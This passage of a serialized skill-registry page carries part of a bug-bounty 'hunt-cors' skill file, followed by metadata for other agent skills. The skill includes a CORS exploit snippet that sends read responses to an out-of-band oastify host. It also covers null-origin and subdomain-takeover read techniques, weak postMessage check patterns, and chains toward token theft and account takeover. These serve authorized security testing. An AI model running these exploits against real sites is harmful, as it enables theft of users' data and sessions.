fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(e.data));\n  console.log(\"NULL-ORIGIN READ:\", e.data);\n});\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\n(Alternative null-origin emitters: a `data:` \u002F `blob:` document, or bouncing the\nrequest through a 302 redirect chain whose final hop is cross-scheme.)\n\n**5c. Trusted-subdomain read** — once you control a host that the regex trusts\n(real subdomain via takeover, or a registerable origin that matches a buggy\nregex from Phase 3), host **5a** there. The reflected origin is now an origin\nyou legitimately serve, so the browser allows the read.\n\n### Phase 6 — postMessage origin check\n```bash\n# Find message handlers that don't strictly validate event.origin.\ngrep -rEn \"addEventListener\\(['\\\"]message\" recon\u002F$TARGET\u002F --include=\"*.js\" \\\n  | grep -v \"\\.origin\"\n# Then audit each hit: does it check event.origin against an allowlist\n# BEFORE using event.data? Weak checks to flag:\n#   .indexOf(\"target.com\") > -1      \u003C- \"target.com.evil.com\" passes\n#   .endsWith(\"target.com\")          \u003C- \"eviltarget.com\" passes\n#   startsWith(\"https:\u002F\u002Ftarget\")     \u003C- \"https:\u002F\u002Ftarget.evil.com\" passes\n#   no check at all\n```\npostMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,\nclient-side auth bypass). See hunt-dom for exploitation depth.\n\n---\n\n## Automation (triage only — never the proof)\n```bash\n# corsy — fast reflection\u002Fnull\u002Fpre-domain checks\npip3 install corsy\ncorsy -u https:\u002F\u002F$TARGET -t 10 --headers \"Cookie: $SESSION_COOKIE\"\n\n# nuclei CORS templates\nnuclei -u https:\u002F\u002F$TARGET -t http\u002Fmisconfiguration\u002Fcors\u002F\n\n# Burp: passively flags origin reflection; always re-confirm in a real browser.\n```\nEvery automated hit is a lead, not a finding. Reproduce 5a\u002F5b in a browser.\n\n---\n\n## Chain Table\n\n| CORS finding | Chain to | Impact |\n|---|---|---|\n| Reflects attacker origin + creds | Browser-read `\u002Fapi\u002Fme`, `\u002Fapi\u002Ftokens`, `\u002Fapi\u002Fcsrf` | PII + token + CSRF-token theft → often ATO |\n| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |\n| Pre-flight allows arbitrary method\u002Fheader | Drive authed `PUT`\u002F`DELETE` from evil origin | Cross-origin state change |\n| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |\n| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |\n| postMessage no\u002Floose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS \u002F client auth bypass |\n\n---\n\n## Validation discipline (read before submitting)\n\n- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.\n  Show a screenshot\u002Fconsole log of the authed body read from `evil.com`. If the\n  fetch throws \u002F logs `BLOCKED`, you have nothing.\n- **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue\n  wildcard if the data is sensitive unauthenticated (then it is usually Low).\n- **`ACAC: true` alone proves nothing** — it must pair with your reflected\n  origin AND a successful readable cross-origin body.\n- **Match the regex class to the payload (Phase 3).** Do not submit\n  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not\n  match and is not a bug.\n- **`evil.target.com` reflecting is not automatically a bug** — it is an\n  in-scope subdomain by design unless you can actually control it.\n- **OOB confirmation** for blind\u002Fheadless contexts: exfil the read body to a\n  Burp Collaborator \u002F oastify host and show the interaction. Use a unique\n  per-test marker so the hit is unambiguously yours.\n- **Sensitive data requirement.** A readable `\u002Fapi\u002Fhealth` is not High. Tie the\n  read to PII, tokens, secrets, or financial data to justify severity.\n\n**Severity:**\n- Reflects attacker origin + creds + sensitive body, browser-proven: High\n- Pre-flight authorizes attacker-origin state change on sensitive action: High\n- Null-origin + sensitive authed body, browser-proven: Medium–High\n- Subdomain-takeover\u002FXSS-assisted credentialed read: High\u002FCritical\n- Reflects origin, no credentials \u002F non-sensitive: Low–Informational\n- `ACAO: *` only (no creds possible): Informational unless data is secret\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":25,"source":43,"license":14,"sources":44,"category":36,"date_added":45,"description":7,"source_repo":46,"source_type":21,"report_count":47,"compatibility":48,"license_source":49},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public","2026-09-20","elementalsouls\u002FClaude-BugHunter",19,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-cors","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-cors",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-cors",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-cors","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-cors\u002FSKILL.md",true,[],[70,95,119,142,170,194],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[82,83,84,85,86,87,72,88,89,90,91,31,21,29,92,93,27,26,23,94],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,112,113,114,31,115,21,116,117,93,118],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[126,127,128,129,37,130,131,34,132,133,134,135,136,21,29,137,138,139,140,141],"transcript","youtube transcript","youtube","safe","codex","research","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":159,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[148,151,154],{"categoryNo":149,"categoryName":150,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":152,"categoryName":153,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":155,"categoryName":156,"taxonomyType":157,"taxonomyTypeDesc":158},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[126,127,128,160,129,161,37,130,34,162,163,164,165,134,166,21,29,167,168,169],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":180,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[176,179],{"categoryNo":177,"categoryName":178,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":152,"categoryName":153,"taxonomyType":79,"taxonomyTypeDesc":80},[128,181,182,106,129,183,184,185,186,34,164,187,188,189,190,29,191,137,192,193],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":201,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[200],{"categoryNo":149,"categoryName":150,"taxonomyType":79,"taxonomyTypeDesc":80},[202,128,203,204,129,161,162,205,206,163,164,165,134,207,166,21,29,167,208,140],"youtube full","full","google","server","dlp","credits","automatic"]